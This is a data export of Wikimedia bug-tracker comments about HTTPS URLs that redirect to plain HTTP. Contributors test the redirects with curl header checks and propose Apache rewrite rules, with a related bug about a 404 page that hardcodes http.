+152805,Non-canonical HTTPS URLs quietly redirect to HTTP,"You will want to contact ops, most probably Daniel Zahn (mutante on IRC).",,,1353955868,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-40,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+152802,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #29)
+> What's the status of <https://gerrit.wikimedia.org/r/13293>? I see Ryan
+> commented on June 29 to wait for the weekend. It's been a few weekends. Has
+> this been merged/deployed? Can it be?
+
+Bump. The dupes are piling up here. Copying Sumana (Andre is already on the CC list). It'd be awfully nice to get this bug moving forward. :-)
+
+https://gerrit.wikimedia.org/r/13293 had some further activity in September, but it's mostly remained quite quiet. I'm not sure what else is needed here to resolve this bug, though I'm happy to help if I can.",,,1353798504,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-40,True,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+152796,Non-canonical HTTPS URLs quietly redirect to HTTP,*** Bug 42409 has been marked as a duplicate of this bug. ***,,,1353765787,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-40,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+152793,Non-canonical HTTPS URLs quietly redirect to HTTP,%%%*** Bug 41070 has been marked as a duplicate of this bug. ***%%%,,,1350378675,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-46,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+152791,Non-canonical HTTPS URLs quietly redirect to HTTP,What's the status of <https://gerrit.wikimedia.org/r/13293>? I see Ryan commented on June 29 to wait for the weekend. It's been a few weekends. Has this been merged/deployed? Can it be?,,,1342493705,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-59,True,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+152787,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #27)
+> You incorrectly switch ""^/(.*)$"" to ""^/(.*$)"" several times in that changeset.
+
+As you just said on IRC that wasn't me.
+
+Anyway, as I just said: there's essentially no difference between those 2 expressions in practice.",,,1340855531,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-61,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1
+152784,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #26)
+> see Gerrit change #13293.
+
+I don't have a Gerrit account, so I'm commenting here. You incorrectly switch ""^/(.*)$"" to ""^/(.*$)"" several times in that changeset.",,,1340855045,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+152780,Non-canonical HTTPS URLs quietly redirect to HTTP,see gerrit change 13293.,,,1340854591,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-61,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+152776,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #24)
+> (In reply to comment #23)
+> > Actually there is dozens and dozens more:
+> > 
+> > https://gerrit.wikimedia.org/r/gitweb?p=operations/apache-config.git;a=blob;f=redirects.conf;h=a777adf9dfb5f8652289c7855b06e5be43767a9b;hb=HEAD#l176
+> 
+> Right. The question is whether these can be solved in a simpler/cleaner/saner
+> way than specifying ""RewriteCond %{HTTPS} off"" and ""RewriteCond %{HTTPS} on"" a
+> million times.
+> 
+> According to my reading of
+> <http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.30>, the Location
+> header must be an absolute URI. Someone suggested that switching these rules to
+> use protocol-relative syntax might resolve this bug, but in addition to the
+> HTTP spec, Apache's rewrite/redirect logic apparently interprets any string
+> beginning with a ""/"" to be a relative URI path, so that option is a no-go.
+> 
+
+Indeed. The spec says it should be absolute and apache doesn't support relative. But, browsers (the ones I've tested) do and always have supported relative Location headers. But anyway, as you say, a no-go.
+
+> As I said earlier, %{HTTPS} might be best... but it's going to result in an
+> awful lot of code duplication for one letter.
+
+We could go for a build process. Where the thing is auto-generated adding one for each with the HTTPS case.",,,1340850119,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,0,1,1,1,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+152771,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #23)
+> Actually there is dozens and dozens more:
+> 
+> https://gerrit.wikimedia.org/r/gitweb?p=operations/apache-config.git;a=blob;f=redirects.conf;h=a777adf9dfb5f8652289c7855b06e5be43767a9b;hb=HEAD#l176
+
+Right. The question is whether these can be solved in a simpler/cleaner/saner way than specifying ""RewriteCond %{HTTPS} off"" and ""RewriteCond %{HTTPS} on"" a million times.
+
+According to my reading of <http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.30>, the Location header must be an absolute URI. Someone suggested that switching these rules to use protocol-relative syntax might resolve this bug, but in addition to the HTTP spec, Apache's rewrite/redirect logic apparently interprets any string beginning with a ""/"" to be a relative URI path, so that option is a no-go.
+
+As I said earlier, %{HTTPS} might be best... but it's going to result in an awful lot of code duplication for one letter.",,,1340849900,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,1,1,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,1,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1
+152765,Non-canonical HTTPS URLs quietly redirect to HTTP,"Actually there is dozens and dozens more:
+
+https://gerrit.wikimedia.org/r/gitweb?p=operations/apache-config.git;a=blob;f=redirects.conf;h=a777adf9dfb5f8652289c7855b06e5be43767a9b;hb=HEAD#l176
+
+Just to take out a few random ones:
+* https://dk.wikipedia.org
+* https://wikibooks.org
+* https://textbook.wikipedia.org
+* https://aa.wikiversity.com
+* https://quote.wikipedia.org
+* https://wikimania.wikimedia.org",,,1340848427,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+152757,Non-canonical HTTPS URLs quietly redirect to HTTP,"Test cases
+
+* https://mediawiki.org
+* https://wikimedia.org
+* https://wikipedia.org
+* https://www.wikisource.org
+* https://www.wikimediafoundation.org
+
+RT tickets (I believe):
+
+* RT #1668
+* RT #2847
+* RT #2783",,,1340842379,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1
+152750,Non-canonical HTTPS URLs quietly redirect to HTTP,*** Bug 36952 has been marked as a duplicate of this bug. ***,,,1340842014,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+152741,Non-canonical HTTPS URLs quietly redirect to HTTP,*** Bug 36951 has been marked as a duplicate of this bug. ***,,,1340841963,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+152731,Non-canonical HTTPS URLs quietly redirect to HTTP,*** Bug 35740 has been marked as a duplicate of this bug. ***,,,1340841945,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+152723,Non-canonical HTTPS URLs quietly redirect to HTTP,*** Bug 33751 has been marked as a duplicate of this bug. ***,,,1340841921,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+152715,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #4)
+> It's unclear whether this bug should be expanded to
+> cover the other (several dozen) similar cases in redirects.conf. It's also
+> unclear whether there's a saner system to do this. %{HTTPS} might be best...
+> but it's going to result in an awful lot of code duplication for one letter.
+
+Well, it's clearer now that there's a mess of bugs about the exact same issue. I'm going to make some noise and dupe them all down to this bug, as it came first and it contains reasonably useful back-and-forth between me and Daniel. I'll aggregate a few test cases and RT links in a single comment as well, I guess.
+
+This means bug 33751 (redirects.conf), bug 35740 (Wikisource), bug 36951 (wikimediafoundation.org), bug 36952 (tracking bug) will be marked as duplicates.
+
+I'm changing this bug's summary from ""https://mediawiki.org redirects to http://www.mediawiki.org/"" to ""Certain Wikimedia redirects improperly go from HTTPS to HTTP; Apache's redirects.conf needs adjustments"".",,,1340841883,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-61,True,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1
+152708,Non-canonical HTTPS URLs quietly redirect to HTTP,"The issue must be in redirects.conf from operations/apache-config 
+
+Gitweb:
+https://gerrit.wikimedia.org/r/gitweb?p=operations/apache-config.git
+
+Clone:
+https://gerrit.wikimedia.org/r/p/operations/apache-config.git",,,1337381717,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-67,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+152703,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #14)
+> Oh my god.
+> Well http://wikimedia.org/ has the same issue :-)
+
+You mean <https://wikimedia.org>, but yes, it appears to have the same issue:
+
+$ curl -Is ""https://wikimedia.org/"" | grep Location
+Location: http://www.wikimedia.org/",,,1329863981,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-80,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+152698,Non-canonical HTTPS URLs quietly redirect to HTTP,"Oh my god.
+Well http://wikimedia.org/ has the same issue :-)",,,1329815193,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-80,True,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+152692,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #12)
+> issue seems to be fixed now. Daniel ""mutante"" Zahn did some tweaks last week :
+> 
+> With curl (-I show headers, -L follow Location: hints)
+> 
+> Without trailing slash:
+> $ curl -IL https://www.mediawiki.org 2>/dev/null|grep Location
+> Location: https://www.mediawiki.org/wiki/MediaWiki
+> $
+> 
+> With trailing slash:
+> $ curl -IL https://www.mediawiki.org/ 2>/dev/null|grep Location
+> Location: https://www.mediawiki.org/wiki/MediaWiki
+> $
+> 
+> Seems fixed to me so :)
+
+Err, your test case is flawed. This bug is about ""https://mediawiki.org"", not ""https://www.mediawiki.org"" (comment 0 and bug summary).
+
+$ curl -Is ""https://mediawiki.org"" | grep Location
+Location: http://www.mediawiki.org/
+
+This behavior is still wrong.",,,1329762844,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-80,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,1,0,0,1
+152687,Non-canonical HTTPS URLs quietly redirect to HTTP,"issue seems to be fixed now. Daniel ""mutante"" Zahn did some tweaks last week :
+
+With curl (-I show headers, -L follow Location: hints)
+
+Without trailing slash:
+$ curl -IL https://www.mediawiki.org 2>/dev/null|grep Location
+Location: https://www.mediawiki.org/wiki/MediaWiki
+$
+
+With trailing slash:
+$ curl -IL https://www.mediawiki.org/ 2>/dev/null|grep Location
+Location: https://www.mediawiki.org/wiki/MediaWiki
+$
+
+Seems fixed to me so :)",,,1329754001,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-80,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,1,0,0,1
+152683,Non-canonical HTTPS URLs quietly redirect to HTTP,whoops thinking of the wrong thing,,,1319598233,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-96,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+152679,Non-canonical HTTPS URLs quietly redirect to HTTP,Apparently this has been fixed,,,1319598213,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-96,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+152675,Non-canonical HTTPS URLs quietly redirect to HTTP,"For the interested, Ryan Lane says on RT that he hasn't had time to do anything with HTTPS right now, but he is aware of it.",,,1319131439,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-97,True,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+152669,Non-canonical HTTPS URLs quietly redirect to HTTP,"Still not fixed. bumping rt ticket as well.
+http://rt.wikimedia.org/Ticket/Display.html?id=1668",,,1319035179,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-97,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0
+152660,Non-canonical HTTPS URLs quietly redirect to HTTP,Yeah. I'm going to fix this after the hack-a-ton.,,,1318701870,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-98,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+152650,Non-canonical HTTPS URLs quietly redirect to HTTP,This is one of the more evil HTTPS bugs I've seen.. could lead people to believe they're using HTTPS when they're not. Elevating importance and severity.,,,1318700141,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-98,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0
+152642,Non-canonical HTTPS URLs quietly redirect to HTTP,turned this into an RT ticket as well...,,,1317859704,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-99,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+152637,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #3)
+> Like this?
+> 
+>     RewriteCond %{HTTPS} off
+>     RewriteCond %{HTTP_HOST} mediawiki.org
+>     RewriteRule ^/(.*)$ http://www.mediawiki.org/$1 [R=301,L]
+> 
+>     RewriteCond %{HTTPS} on
+>     RewriteCond %{HTTP_HOST} mediawiki.org
+>     RewriteRule ^/(.*)$ https://www.mediawiki.org/$1 [R=301,L]
+
+That looks about right. It's unclear whether this bug should be expanded to cover the other (several dozen) similar cases in redirects.conf. It's also unclear whether there's a saner system to do this. %{HTTPS} might be best... but it's going to result in an awful lot of code duplication for one letter.",,,1317856641,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-99,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1
+152631,Non-canonical HTTPS URLs quietly redirect to HTTP,"Like this?
+
+    RewriteCond %{HTTPS} off
+    RewriteCond %{HTTP_HOST} mediawiki.org
+    RewriteRule ^/(.*)$ http://www.mediawiki.org/$1 [R=301,L]
+
+    RewriteCond %{HTTPS} on
+    RewriteCond %{HTTP_HOST} mediawiki.org
+    RewriteRule ^/(.*)$ https://www.mediawiki.org/$1 [R=301,L]",,,1317856406,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-99,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1
+152624,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #1)
+> There are lots of these (I think https://wikipedia.org is broken too) that are
+> stuck in Squid cache and need to be purged.
+
+Are you sure this has to do with Squid cache? Looking at <http://noc.wikimedia.org/conf/redirects.conf>, it says:
+
+    RewriteCond %{HTTP_HOST} mediawiki.org
+    RewriteRule ^/(.*)$ http://www.mediawiki.org/$1 [R=301,L]
+
+I assumed that was the root cause of the issue here, if redirects.conf is up-to-date.",,,1317854080,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,True,,,-99,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1
+152618,Non-canonical HTTPS URLs quietly redirect to HTTP,There are lots of these (I think https://wikipedia.org is broken too) that are stuck in Squid cache and need to be purged.,,,1317808786,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,1,False,,,-99,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+32733,Wikimedia 404 Error shouldn't hardcode http,"Visiting https://commons.wikimedia.org/x  shows two problems:
+* It says I am at http://commons.wikimedia.org/x , which is not true. This needs to be fixed to use the current protocol, as should the redirect
+* It uses images from http://upload.wikimedia.org, should use protocol-relative instead.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://commons.wikimedia.org/x",High,80.0,1315065780,1329759768.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-cnle2hlxk4wnngobwoq7,task_description,resolved,True,c2,0,True,False,True,-104,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
